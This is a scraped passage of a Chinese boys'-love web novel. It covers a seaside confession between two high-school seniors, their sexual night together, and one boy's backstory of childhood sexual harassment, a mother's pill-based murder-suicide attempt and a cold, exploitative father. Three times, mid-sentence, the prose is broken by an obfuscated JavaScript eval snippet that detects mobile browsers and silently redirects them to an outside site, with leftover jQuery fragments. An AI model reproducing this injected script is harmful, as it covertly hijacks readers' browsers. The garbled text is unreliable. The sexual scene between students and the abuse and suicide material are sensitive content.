下一秒,他的身后突然响起了烟火绽开的声音,现场不知被布置了多少烟花,它们在天空里绽放的那一瞬间,整个世界都被照亮了,烟火的喧嚣里,谭俞听见江淮书轻声说。 “这是我用尽材料做的最大最甜的蛋糕,如果你想,我还能做得更大,更甜。” 江淮书说着,把手里的吉他递给了谭俞,他垂下眸看着对方的眼睛,一字一句说得清晰温柔。 “谭俞,生日快乐。” “如果可以的话,请给我一次机会,让我代替你的父母来爱你,好吗?” 这一刻的谭俞仿佛成了哑巴,什么话也说不出,但江淮书的告白还在继续。 “我不想跟你做朋友,不想跟你玩暧昧游戏了。” “我爱你,想照顾你,想拥抱你,想……” 他顿了顿,站在烟火下缓缓低头,将嘴唇凑到了谭俞唇边停下。 “想吻你。” “我,”谭俞终于找回了声音,他嘴唇动了动,声音颤抖,“我不值得,江淮书,我不值得。” “你很好奇吧?”他问道,笑得难看悲哀,“为什么我不学习不写作业,爱迟到爱早退,为什么我这么不上进,为什么总是荒废光阴。” 江淮书不语,静静地看着他流泪。 “因为我学不学都一样啊江淮书,我走不出梅城也不能走出梅城,我有奶奶要照顾有妹妹要抚养,我走了他们该怎么办?” “你这么优秀,应该去更大的地方,有更好的发展,遇更优秀的人,而不是浪费时间在我身上。” 谭俞声音哽咽,但依旧固执地把话说下去。 “我跟你不一样,江淮书。” “我站在自己的人生里,从来没有看到过未来。” 泪流得愈发汹涌,江淮书伸出指尖抚去他脸上的泪,突然轻笑了一声。 “谭俞,没有关系。” “我给你一个未来。” 听了江淮书的话,谭俞的瞳孔瞬间收缩,拿着吉他的手猛地握紧,烟火还在继续绽放,江淮书也还在继续说话。 “你的事我全部清楚了,但我很想告诉你,你没有错,没有做错任何事。” “你有爱人的能力,也享有被爱的权利。” “你不需要学会自己走出阴影,你只用站在原地,然后等着我来爱你。” “如果你愿意迈出最后这一步,” 江淮书语气一顿,声音变得更轻,似是怕吓到谭俞,又似是哄着谭俞。 “那就吻我。” 18. 过夜 时间一分一秒地过去,谭俞始终没有说话,江淮书也不急,就这么静静地看着他。咸涩的海风轻轻吹两人的脸,蛋糕上蜡烛的烛光摇曳,就连天空中喧嚣的烟火都在等待谭俞的回答。 不知过了多久,谭俞终于开了口。 “江淮书,你把刚刚的话再说一遍。” 爱在眸光中暗流涌动,江淮书看着他的眼睛轻声道:“谭俞,我给你一个未……” 他话还未说完谭俞就直接吻了上去,看着眼前的人颤抖的睫毛,他眼里浮现出柔情的笑意,接着缓缓闭上了眼睛。 两人站在海边亲了很久,直至喧嚣停止。 这个吻包含了许多。 是回答。 是依偎。 是承诺。 是喜欢。 是爱。 是他们对彼此全盘托出的一切。 ————————————————————————— 在海边闹了一会儿之后俩人就回了江淮书家,虽然说上次已经来过他家过夜,但那时候还是朋友,没这么多想法,如今现在已经确认了关系,再次踏进这个门谭俞就总感觉哪里不太一样。 “你随便坐,或者去我房间等我,”江淮书冲他微微笑了笑,“我上楼洗澡。”话一说完,他指尖拉开拉链就把外套脱了放沙发上。 谭俞点点头:“去吧去吧,等你洗完我再洗。” 目送江淮书上楼之后谭俞就开始乱晃,逛到厨房时还偷摸吃了个小蛋挞,接着坐到沙发上拿出手机打了个电话给姚淑芬。 “奶奶,今晚我在朋友家住,不回家了,你跟小叶子早点睡。” “好好好,”姚淑芬笑笑,“哪个朋友啊?江淮书?” 此话一出,谭俞挑了下眉:“你怎么知道?” 姚淑芬话音一顿,似乎是在回忆些什么:“我记得你上次在手机上跟我说要抱着你同桌睡,说是晚上不回家,要借宿江淮书家里。” 听了她的话,谭俞笑容僵住了:“啊?什么时候?!” “不会是我上次喝醉的那次吧?” “对对对,”他这么一说,姚淑芬想起来了,眉头舒展,笑容更甚,“你那天发的是语音,聊天记录我还存着呢,等你回来啊我放给你听。” “………………算了吧奶奶。” “怎么了?” “没什么没什么,我洗澡去了,奶奶拜拜!!” 谭俞无地自容,尴尬得想死,连忙挂了电话,他在沙发上靠着思考了下人生,暗暗发誓这辈子再也不喝酒。这时,他的余光突然瞥到了江淮书刚刚放在沙发上的外套,脑子莫名空白了一下,随后慢慢伸出手将外套拿了过来。 衣服上还存留着江淮书身上的淡橘香,谭俞的动作顿了几秒,接着鬼使神差般低下了头,随着距离越来越近,那股若有若无的淡橘香也愈发清晰,当鼻尖碰到衣服的布料时谭俞突然回过了神。 谭俞你在干嘛? 他愣了好几秒,接着犹如碰到烫手山芋般把衣服迅速重新扔到沙发上,装作若无其事地上楼来到了江淮书的房间里。 房间里的样子跟他之前看到的差不多,东西位置没怎么发生过变化,他拿起了桌上的其中一本荣誉证书仔细看了起来。 还没等他看个几分钟浴室门就打开了,江淮书穿着黑色睡衣从里面走了出来,他没吹头发,发丝还在滴水,湿润的乌发下是一双漂亮得有攻击性的凤眼,浓墨般的眸底倒映着谭俞的身影,他走过来从身后搂住谭俞的腰,将头靠在对方的肩上。 “你在看什么?” 腰是谭俞最敏感的部位,被突然这么一抱反应很大,连身子都轻颤了一下,他侧头看向江淮书,勾唇:“当然是在看我同桌获的奖了,真厉害啊。” 他们距离很近,几乎呼吸都缠绵在了一起,江淮书用了一个极为黏人的姿势抱着谭俞,偏头凑到对方耳边说话:“你刚刚,”他顿了顿,压低了声音,“是不是抖了一下?” 谭俞感觉身上一阵酥麻,心情开始变得奇怪,不过他没有去管:“对啊,我怕痒,怎么了?” “这样啊,”江淮书的声音很轻,像是低叹,他用指尖挑起了谭俞的衣摆,缓缓将手伸了进去,去感受谭俞身上传来的阵阵颤粟,“好敏感。” 谭俞受不了江淮书这么摸,隔着衣服摁住了他的手,与他拉开了距离:“我还没洗澡,再不洗就要到半夜了!!” 话一说完谭俞就跑进了浴室。 皮肤光滑细腻的触感还存留在手心,江淮书静静地站在原地,摩挲了一下指尖,与此同时浴室响起了水声,他垂眸,从抽屉里拿了支烟叼在嘴里,走到阳台边用打火机点燃,深深抽了一口。 浓烟过肺,苍白的烟雾从嘴里吐出,模糊了他的侧脸。 谭俞洗完澡出来时就看到江淮书正在阳台那吃着棒棒糖发呆,他微微弯唇,迈开长腿悄悄走到江淮书那边,然后大叫了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900355|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“啊————” 不过可惜的是江淮书并没有被吓到,听到声音他眼里泛起柔情的笑意,转过身抱住谭俞,轻声问:“吃糖吗?” 谭俞爱吃甜的,当然不会拒绝,他勾唇:“吃啊。” 他话一说完,江淮书一下子咬碎了嘴里的棒棒糖,接着把棍子扔进了垃圾桶,随后低头吻住了谭俞。谭俞显然是没料到江淮书会吻他,没来得及站稳,向后趔趄了几步,最后退无可退,后背一下子撞到了桌沿,被摁在桌上亲。 碎糖在嘴里融化,使这个吻变得甜腻无比,谭俞的心跳得很快,仰起头去回应江淮书的吻。江淮书再次搂住谭俞的腰,酥麻感从脚底直通天灵盖,谭俞下意识地轻哼了一声,这一声低吟带着点哑,无端暧昧,勾得江淮书心底一颤。 他突然停住动作,缓缓睁眼,将身子退开了一点点,两人唇齿间拉出银丝,中间逐渐变细,最后断开。谭俞现在有些意乱情迷,眼神飘忽,不明白江淮书为什么停下:“怎么了?” 见谭俞一副魂丢了的模样,江淮书舔了下嘴唇,凑过去吻他的下巴,轻笑:“谭俞,我还什么都没做,你刚刚叫的那一声会让我误会。” 谭俞现在还没回神,没懂他的意思,只是迷茫地问:“同桌,你不继续吗?” 此话一出,江淮书眸光一顿,故意曲解谭俞的意思:“你想怎么继续?” 问完后他缓缓低下头去吻谭俞的脖颈,发丝滴下来的水落到了对方的锁骨处,那滴水又从锁骨一直滑进谭俞的衣服深处。 下一秒,谭俞突然僵住了,他耳尖泛起红晕,直起身把江淮书推开:“我,我去一下浴室。” “别走,”江淮书扯住他的手将他拉了回来,把他抵到了角落,压抑着喘息,“我帮你。” “江淮书,”谭俞同样呼吸急促,他挑眉,桃花眼勾起,“你怎么帮?” 听见他的话,江淮书动作顿了顿,垂眸,低头吻住他的唇,轻笑着问:“你想我用手,还是用嘴?” 谭俞没有立刻回答,他定定地看了江淮书几秒,随后伸手扯住对方的衣袖:“你想不想……” 他话还没说完,江淮书突然一下子轻咬住了他的舌尖,钝痛感传来,他闷哼了一声,江淮书凑到他耳边低语,声音有些哑:“不行,现在不行。” 他伸手去关灯,随后将窗帘拉上,房间里陷入一片黑暗,谭俞听见他轻声说。 “我用嘴,” “你别躲。” 19. 入场券 昨晚折腾了一晚上,谭俞一觉睡到大中午,他睡相还不错,只是爱踢被子,江淮书睡眠浅,老是被他弄醒,醒来就是习惯性给他掖被子盖好。 窗帘不是很透光,大白天也能让人睡得格外安心,江淮书比谭俞醒得早,睁着眼看着眼前的人发呆了好久。 什么是幸福?如果让江淮书来回答的话那就是睡醒来时的第一眼就看到爱的人睡在自己旁边,整个安静的房间里只有爱人浅浅的呼吸声。 从上初中开始江淮书就没有赖床的习惯,今天是个例外,说不清什么原因,就是不太想起,但他也不睡,就想静静看着谭俞。谭俞睡觉时有个习惯,就是爱突然哼哼唧唧,不知道是不是因为梦到了什么好吃的,江淮书觉得可爱,眼里带着温柔的笑意,轻轻凑过去吻他的鼻尖。 “谭俞,你是小猫么?” 可能是说这句话时没刻意压低音量,给谭俞弄醒了,他睫毛颤了颤,缓缓睁开了眼,眼里还透着浓厚的困倦:“同桌,几点了?” “还早,”江淮书将他搂进怀里,手轻轻摸了摸他的头,“你再睡一会儿。” 熟悉的淡橘香在鼻尖缭绕,谭俞忍不住靠近江淮书,随后闭上眼继续睡:“那你要抱紧我——” 他尾音拖得很长,听起来像是在撒娇,江淮书知道他在偷偷嗅自己的味道,不自觉弯唇,学他的语气:“好——” 于是两人又在床上躺了半小时,等到差不多快到午饭时间的时候江淮书才轻手轻脚地起床去做饭。他起床之后的没一会儿谭俞也醒了,不过谭俞赖床,醒了也不愿意起,拿出手机捣鼓游戏。 江淮书的厨艺很好,做出的菜不仅花样多而且味道好,他在桌上摆好了果汁饭菜后便上楼去叫谭俞起床。此时的谭俞洗完漱之后正躺在床上打游戏,丝毫没有察觉有人进了房间。 他打得入迷,手指灵活地在屏幕上划动,江淮书不急,等他打完了才出声:“起床了,吃饭。” 对于谭俞来说这声音算是突如其来了,他吓了一跳,手机都掉了:“同桌你走路没声儿啊,吓死我了。” “是你打游戏太入迷,”江淮书伸手捏着他的下巴轻轻晃了晃,“吃饭了。” 听了江淮书的话,谭俞一下子把头埋进被子里,将手递给江淮书,声音闷闷地传来:“我起不来了,你拉我吧。” 江淮书早已习惯他的耍赖,伸手把他牵了起来:“好了。” 饭菜很丰盛,谭俞喜欢吃的菜一样没少,他随便夹了一筷子尝尝味道,顿时眼前一亮,饭都多吃了几口。 “好香啊。” “同桌,你这又是会做饭又是会做甜点的,手好巧,”说着,谭俞自己都说笑了,眉眼弯弯,“我是不是捡到便宜了?” “没有,”江淮书凑过去吻了他一下,看着他的眼睛道,“是因为我们本来就很相配。” 谭俞指尖轻轻敲了敲桌面,神情似乎是在思索:“你这么说倒是提醒我了,既然我俩在一起了应该改个称呼才对。” 说完他偏头看向江淮书,轻笑道:“小江?淮书?坏鼠?哥哥?” 江淮书静静地听着,没有插话,像是在想谭俞最后会决定怎么叫他。谭俞单手撑着下巴,垂眸,笑得漫不经心,接着他向江淮书靠了过去:“我突然想到有个很不错的称呼,你想不想听?” “什么?” 见他看了过来,谭俞轻笑着凑到他耳边低语,好听的声音带着些许轻挑。 “宝宝。” ————————————————————————— 下午李槿迟要去瑞士,段佳成万般不舍,因为要是他走了就没人陪自己聊游戏了。 “你真要走啊?”段佳成闷闷不乐地看着他,“就不能再多玩几天吗?” “怎么了?”李槿迟撑着头看他吃冰淇淋,言语间透着不明的暧昧,“你舍不得我啊哥哥?” 不过段佳成根本没听出来,只是一味的哀嚎:“对啊,要是你走了我会很寂寞的,”说到这时他又顿了顿,叹了口气,“不过你也是迟早都要走的,飞吧飞吧,我的兄弟。” “我会想你的。” 李槿迟失笑,正要说些什么,但谭俞的声音传了过来:“李槿迟,听说你要走了,我们来送送你。” “谢谢,”李槿迟闻声抬头,“我……” 看清楚谭俞的一瞬间他话语突然一顿,稍稍愣了愣——只见对方靠近锁骨处那里有一枚吻痕,虽说不太明显,但他还是注意到了。 他挑了挑眉,目光转移到江淮书身上,神情揶揄。谭俞不知道他为什么止住话语,有些疑惑:“怎么了?” “没什么,”李槿迟笑笑,站起身,“时间不早了,我得走了,下次我再来。” 说完他转头看向段佳成,笑着说:“我不是很忙,哥哥你想我的话就给我发消息哦。” 几人将李槿迟送到路口处,一路上正愉快地聊着天,快要走到站台处时,走在谭俞身边的李槿迟突然低声开口。 “你跟江淮书在一起了?” 谭俞没料到他会问这个,也不知道他是怎么发现的,心里一惊,过了几秒才回答:“对,不过你怎么知道?” “吻痕,我刚刚看到了,”李槿迟伸手点了点自己锁骨处旁边的那里,“遮一下。” 此话一出谭俞立刻就想起了昨晚跟江淮书做的荒唐事,他轻咳了一声,扯了扯衣领,不自在地移开目光。李槿迟轻轻摇了摇头,用一种非常同情地目光看着谭俞:“啧啧啧,真可怜。” 谭俞不知道他整的哪一出,神情奇怪:“什么?” 此时几人刚好走到站台处,段佳成冲李槿迟挥挥手,嘴里喊着拜拜,常回家看看这类话语,江淮书则没什么表示,低头看手机,李槿迟冲他们笑笑,随后转头看向谭俞,神情看起来意味深长。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900356|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小心点呐,江淮书他这人虽然看起来冷冷清清,斯斯文文,但是……” 李槿迟挑眉,低笑。 “但是他有点抖S。” ————————————————————————— 回去的路上段佳成被叫去补习班了,只剩下谭俞跟江淮书两个人,但是谭俞一直在走神,没像往常一样跟江淮书腻在一起聊天。刚刚李槿迟跟他说的话在他心里久久挥之不去,不是说害怕江淮书什么的,因为人在那方面有点特殊癖好很正常,只是他想到了另一方面——他不够了解江淮书。 这听起来好像很滑稽,不过确实是事实,他的确不够了解江淮书,比如江淮书喜欢什么样的食物,喜欢吃甜的还是辣的,喜欢看什么样的书,喜欢听哪种类型的歌等等,一切的一切他通通都不了解。 他抬眸看向江淮书,目光略过对方被风撩起的发丝,看向一片空白的远方,他伸出手去抓江淮书的衣摆,明明指尖已经触及到了对方的衣角,可他却总感觉扑了个空。 “怎么了?”江淮书停住脚步,回眸看他。 “你头发上有片叶子,”谭俞向前走了几步,抬手拿掉了发丝边的那片绿叶,“好了。” 阳光透过树叶的缝隙吻上江淮书剔透的眼睛,就像圆日倒映在潭水里,静谧漂亮。谭俞感觉自己像掠过潭水的鸟,明明在潭水里看到了自己的影子,却又搁着距离,触碰不到,模糊不明。 两人静静相望,谭俞突然开口:“江淮书,你觉不觉得我们隔得好远。” 他话一说完,江淮书的目光顿时停住了。 “家庭,性格,喜好,成绩,就连住的地方都好远好远。” 谭俞声音很轻,听不出喜怒哀乐,唯一鲜明的就是他的眼神,迷茫与坚定的矛盾体。 “就是感觉你好模糊,感觉你离我太远了,我好像根本看不清你。” 话音刚落的一瞬间江淮书立刻就明白了谭俞的意思——他似乎很少跟谭俞聊自己的过去,就算有也只是一句话带过,轻描淡写,不痛也不痒,没有真正地做到与对方互吻灵魂。想到这,江淮书缓缓伸手牵住了谭俞,随后垂眸看他:“那你想靠近我一点么?” “想。” “跟我来。” 他带着谭俞回到了家,来到了房间里,轻轻打开了一个从未向任何人展示过的小铁箱子,里面装着一个小木盒。 “这是什么?”谭俞问。 江淮书抬眸,看了他几秒,不紧不慢地开口:“我妈的骨灰盒。” 谭俞瞬间愣住。 “我其实不姓江,江是我妈的姓,”江淮书顿了顿,似是沉默又似是回忆,“我应该叫陈淮书。” 房间里回荡着江淮书平淡好听的声音,像是在讲故事,这次谭俞做了听众,静静地听他说。 谭俞从来没想到过,江淮书灵魂世界的入场券竟会是母亲的骨灰盒。 20. 家 江淮书的母亲江景依是未婚先孕,怀孕三个月之后就跟陈文康结了婚,他们是公认的郎才女貌门当户对,陈氏长子娶了江家二小姐,这简直是美谈一桩。 江淮书出生在桂花飘香的秋天,那时候江景依将他抱在怀里,笑容幸福甜蜜,说他是秋天降临的天使,陈文康衣冠楚楚,微微低头冲江淮书笑。 “淮书长得真像妈妈。” 七岁那年江淮书养了一条小狗,是一条流浪狗,它曾经被人虐待过,对陌生人的接触会产生应激反应,无差别地咬人。它的四条腿明明没事,却总是站不起来,江淮书很着急,想帮帮它,但却被江景依阻止了,她弯腰抚摸着江淮书的头,笑容温柔:“小狗还没信任你呢,咬到你了怎么办?这件事急不得。” 江淮书不解:“妈妈,你是说让我不要插手吗?” “当然不是呀,”江景依弯下腰把他抱了起来,吻了吻他的额头,“妈妈的意思是,你要等小狗信任你了你才能碰它帮助它,不然到时候弄得两败俱伤,小狗没站起来,你也被咬伤了。” “好,”江淮书点点头,“我知道了妈妈。” 记忆里陈文康和江景依一直都很恩爱,从来没有吵过架,江淮书本该是泡在爱里长大的,别人出生在起跑线,但他已经站在了终点,他应该按照这样的人生剧本去幸福的长大,所有人都这么认为,就连江淮书也是。 可是他们忘了,秋天死去之后迎来的将会是暴雪。 江淮书十岁生日宴那天陈文康邀请来了一个客人,叫叶承宇。他与江淮书见过的所有人一样,衣冠楚楚,西装革履,戴着无框眼镜,笑容亲人,举止得体。 “淮书你好,”叶承宇弯腰向江淮书伸出手,笑了笑,“我是你父亲的合作人,叫叶承宇,你可以叫我叶叔叔。” 眼前的人给江淮书的第一感觉不是很好,他的眼神太过阴湿黏腻,笑容乍一看很亲人友好,但只要仔细看看就能感觉出那种难以言喻的虚伪,像一张画着笑脸的纸,令江淮书反感,甚至有些恶心。 “淮书,”陈文康走了过来,扯过江淮书的手放到叶承宇手上,笑道,“叫人。” 掌心传来令人恶心反胃的触感,江淮书象征性地跟他握了握手,随后立马抽回,皱着眉打招呼:“叶叔叔好。” 说完他便头也不回地离开,想赶快逃离这里去楼上找江景依,但此时的江景依正在房间里穿礼服,他不能冒然进房间,只等蹲在门口等。 此时的小狗早已跟江淮书建立了信任,也渐渐学会了行走,它一看见正蹲在门口的江淮书就迈着并不灵活的步子向他走了过去。 小孩子忘性大,手背被毛茸茸的脑袋蹭了蹭,江淮书心里难受的感觉瞬间烟消云散了,他将小狗抱在怀里,勾了勾唇:“你来找我玩了?” 叶承宇是那段时间江淮书记得最清楚的人,也是最恶心最不想接触的人,不知道为什么会有这种感觉,但他就是不愿意跟叶承宇接触,一看到他就头皮发麻。 星期四陈文康和江景依要去出差,把江淮书送到了叶承宇家里暂住几天,江淮书对此表示抗拒,但陈文康却说他是小孩子耍赖,最后还是让他去住了。 江淮书去叶宅的那个下午叶承宇似乎是特意把别墅装扮了一番,玫瑰花遍地都是,怪诞荒唐,隆重又诡异,盛大得像是一场婚礼。江景依在家里收拾行李并没有跟着来,送江淮书来叶宅的只有陈文康,江淮书抬头看向这个一向温和有礼的父亲,想知道对方看见这个场景会是什么表情,是不是会察觉出不对然后带他回家?结果江淮书想错了,陈文康什么表示都没有,表情和举止依旧淡然自若。 踏进大门后的江淮书脸色发白,腿有些发软。 恶心,恐惧,反胃,令人想吐的一切感觉一股脑地涌了上来。 陈文康把江淮书送到叶宅后转身就走,走之前还回眸冲叶承宇笑,眼神意味不明:“麻烦你了叶先生。” “没事,不麻烦,我很欢迎淮书,”说着,叶承宇勾了勾唇,走上前去准备去牵江淮书的手,“淮书,你来了?” 江淮书怀里还抱着小狗,神情警惕地看着叶承宇:“让开。” 话说完后他直接跟叶承宇擦肩而过。 叶承宇的手还举在半空中,随后他缓缓垂眸,勾唇转身,对着江淮书的背影道:“你的房间在二楼。” 这几天对于年纪尚小的江淮书来说简直度日如年,但好在叶承宇并没有对他做什么,只是偶尔会亲昵地跟他说话,但这依旧令江淮书恶心。 江景依打电话来说他们出差回来了的那天江淮书很高兴,像是终于可以呼吸了那样如释重负。可不幸的是,今天的叶承宇已经开始变本加厉,之前只是言语上的骚扰,现在却上升到了行为。 不过江淮书并不是个善茬,他反抗激烈,叶承宇连近身的机会都没有。小狗护主,扑过来咬叶承宇,但它太小了,力量微薄,被叶承宇一脚踹了出去,紧接着狠狠摔在了地上,没了呼吸。 挣扎的过程中江淮书的余光突然看到了站在门口观看着这一切的陈文康,父亲表情冷漠,似乎眼前被骚扰的孩子不是自己的儿子。 那一瞬间江淮书才明白过来为什么自己总是觉得常年挂着笑的父亲身上却总散发着一种怪异的冷漠,明明行为正常,表达出的爱却让人感觉很生硬,原来是因为他从来没想过要当一个好丈夫好父亲,他想要的是权利和金钱,甚至可以不惜一切代价,包括利用自己的儿子去换取那些所谓的利益。 或许就是那一刻,恨的种子开始在心里种下,江淮书伸手去摸柜子上的台灯,握住手柄用尽全身力气跳起来砸到了叶承宇的脸上,叶承宇惨叫了一声,向后倒去。 “淮书,” 陈文康突然走了进来,冲着江淮书重新扬起虚伪的笑。 “回家了。” 之后江淮书把这些事告诉了江景依,江景依难以置信,感到反胃和恶心,当天晚上她就跟陈文康大吵了一架。 可能是再也不装不下去,也可能是不想再装,陈文康不再维持那点形象,他开始夜不归宿,开始带各种女人回家,以往的美好家庭犹如镜子般砸在地上碎掉了,江淮书的噩梦也就此开始。 江景依要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900357|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离婚,可陈文康不同意,她打电话想要告知江家,没想到却传来了父母意外身亡的噩耗,理智被一点点摧毁,陈文康彻底把江景依逼成了疯子。 有时候江淮书会恨自己,为什么自己不能快一点长大,为什么没有足够的能力保护母亲,他当时只有十四岁,面对这样的黑暗处境满是苍白的无力。 在日复一日的精神折磨下江景依再也忍受不了了,她吃了不知道从哪里来的药,接着也给江淮书喂了几颗,说让他好好睡一觉,醒了就能离开这里了。 当时江淮书还不明白为什么母亲带他离开之前要喂他吃这个,后来他才知道,原来吃的那几颗药才是江景依带他离开的方式。 但命运总是这样弄人,让人求生不得求死不能——江淮书被救了。 他从医院醒过来时没有哭没有闹,并且也没有歇斯底里地问陈文康为什么没有救江景依,因为他知道,其实让江景依离开才是最好的选择。 自那之后他开始变得更加沉默,性格也变得尖锐孤僻。 成人礼结束后的那晚江淮书再次受到了叶承宇的骚扰,他似乎总是好了伤疤忘了疼,甚至糊涂到以为自己跟陈文康是合作关系所以就能拿捏住江淮书。当时的江淮书没有收敛脾气也没有下手留情,直接打废了他的四肢,那天陈文康发了很大火,让江淮书去给叶承宇赔礼道歉,江淮书没有感到丝毫愤怒,只觉得搞笑。 “陈文康,你觉得你在威胁谁?” 当天江淮书收拾好了全部行李,拿着江景依留下的积蓄带着江景依的骨灰盒就离开了陈家,改姓转学来到了梅城。 ————————————————————————— “我终于带着我妈离开了,”江淮书淡笑着重复,“终于离开了。” 听完后的谭俞愣了好久才回神,此时他的手心已经出了汗,脚也麻木到没了知觉。 回忆过去时江淮书没有愤怒也没有恐惧更没有逃避,他表情平静,语气也平静,但尽管是这样谭俞心里也清楚,那是江淮书难以抹掉的疤,说不痛苦根本不可能。 “谭俞,”江淮书抬眸看向他,那双漂亮的凤眼看不出什么情绪,“我没有家了。” 窗外的太阳明媚无比,可阳光却只照到了两人的脚边,不多不少,刚刚好。谭俞也在看江淮书,他没有说话,只是用目光一点一点仔细看着眼前的人,他能感觉到心里在抽痛,快要窒息的那种痛。 “江淮书。” 谭俞突然出声。 “我给你一个家。” 他起身坐到江淮书的腿间,张开怀抱用力抱住了对方。外面开始刮风,窗帘被吹起,明媚的光线被无限拉长,照到了两人身上,刺进了江淮书的眼底,他忽然感觉眼睛很痛,眼尾开始泛红。 一片茉莉花瓣被风吹着飘进了房间里,晃晃悠悠地落到了江淮书的手指边,江淮书将头埋进谭俞的颈窝,一滴泪从他眼角滑落,流进了谭俞的衣服里。 谭俞偏头凑过来吻他,声音轻而坚定。 “不要怕,” “你不会是一个人了。” 21. 新生 高三生寒假时间不长,现在基本已经过半,段佳成的各科作业只画了几个大字,可以说是基本上啥也没动。 段佳成房间里摆着台风扇,风扇旁边的桌上还放着几块红瓤无籽西瓜,其中一块被人咬了一口,呈现出一个漂亮的月牙弧度,丝丝缕缕的阳光透过窗帘的缝隙钻进来,强光刺激着谭俞的眼睛,他眼皮动了动,睁开了眼。 由于刚睡醒,谭俞的声音还带着点沙哑:“你作业写完没?” “没,”段佳成吃了颗口哨糖,放到嘴里含着,“你醒了?” 那刚刚是鬼跟你说话?谭俞在心里吐槽,翻了个大白眼:“废话。” 中午谭俞来找段佳成玩,没想到他正被爸妈压着看书,连出门的机会都没有,谭俞在他房间里看着他学习,因为太无聊,实在没忍住就睡了过去。 不过现在看段佳成这情况也不像是在专心看书的样子,从他身后看他倒像是正在捣鼓着什么,难道是在打游戏?谭俞有些好奇,支起身抬头看了过去:只见他的手机正在播放着教学视频,而他的手也正拿着一盒胶水和半个肥皂。 “段佳成,”谭俞瞪大眼打量了他一番,“你转性了?看化学视频?” 段佳成闻声转头,面露疑惑:“化学视频?什么化学视频?” 他这反应似乎是听不懂谭俞在说什么,谭俞以为他是在装,语气不屑:“装什么装,我都看到了。”说着他还站起身凑过去看段佳成的手机。 手机画面里确实播放着教学视频,但似乎哪里不太对劲,这盒子里搅拌的软体是什么,这视频难道讲的是软化固体实验?怎么看着这么像…… “什么化学视频,”段佳成将肥皂弄成碎末将胶水混在一起,接着用力搅拌,“我这是在看做起泡胶的教程,老谭你真是落后了。” 谭俞:“………………” 经过段佳成这么一说他终于想起来视频里的软体像什么了,像起泡胶。 “还以为你转性了呢,”谭俞一脸嫌弃,“没想到你这不是转性,是练功呢,返老还童是吧?” 听了谭俞的话,段佳成立马不乐意了:“什么返老还童?说的这么难听!又不是小孩儿才能玩起泡胶,就算我四十岁我也照样能玩!” “真是的,你还搞年龄歧视呢。” “那你也不用自己做啊,”谭俞不理解,目光上下打量了段佳成一番,“下楼走几步路右拐就是超市,那儿一大堆起泡胶。” 此时搅拌的胶水已经开始有点粘稠了,以为是快成功了,段佳成眼里露出兴奋:“自己动手做的才爽,你懂不懂那种战功赫赫的感觉?” 争论这个话题实在莫名其妙,可偏偏他俩又确实幼稚,喋喋不休地斗嘴斗个不停,非要争个输赢。 这时房间门突然被人打开,段佳成的母亲探头进来,冲他俩笑笑:“吃饭了,你们俩在房间里吵什么呢?” 老妈进来得突然,段佳成反应及时,一下子就收好了手机以及装着胶水肥皂的盒子,他冲老妈干笑:“妈,我们正要下去呢。” “好,饭菜做好了,你俩快下来吧。” “好的老妈,拜拜。” 房间门被关上,随后传来渐远的脚步声,段佳成松了口气,正准备要说些什么,谭俞却比他先开了口。 “饭我回家吃,我妹妹和奶奶还在等我,你跟阿姨说一声。” “啊?”段佳成语气有些失落,接着又扯了扯嘴角,“行吧,拜拜。” “嗯。” 话一说完谭俞就开门准备走,结果没迈出几步他又折了回来。 “哦对了,”他回头看段佳成,“明天江淮书要是找我的话,你就告诉他我在月牙湾,让他来月牙湾找我。” 段佳成皱眉:“你去月牙湾干嘛?你忘了上次你是怎么摔的了吗?” “没事,我小心点就行,”说着,谭俞还举起了手,“我发誓。” 看他这信誓旦旦的样子,段佳成不太信,但还是点了点头:“行,到时候我给他说一声。” “你小心点啊,再摔我可不会去医院看你。” ————————————————————————— 今天的夜格外安静,江淮书写作文时差点睡着,此时他的手机响了一下,他笔尖一顿,抬手去摁亮了手机看了一眼,是李槿迟的消息。 李槿迟:陈文康又给我发消息了。 李槿迟:[图片] 李槿迟:[图片] 李槿迟:[图片] 李槿迟:这老头什么毛病? 他发了很多图片过来,江淮书看都懒得看一眼,凤眼里透露出丝丝不耐,厌烦地闭上眼发了条语音过去。 H:“别管他。” 消息一发出,李槿迟那边几乎是秒回。 李槿迟:行,那我给他屏蔽了。 H:随你。 陈文康发消息过来无非就是问江淮书在哪,威胁江淮书回首都去,江淮书离开前早已把他所有联系方式拉黑删除,他联系不上江淮书就只好挑江淮书身边的人下手,李槿迟已经被他折磨好几个月了,刚开始出于礼貌还能敷衍敷衍他,现在真是忍无可忍了。 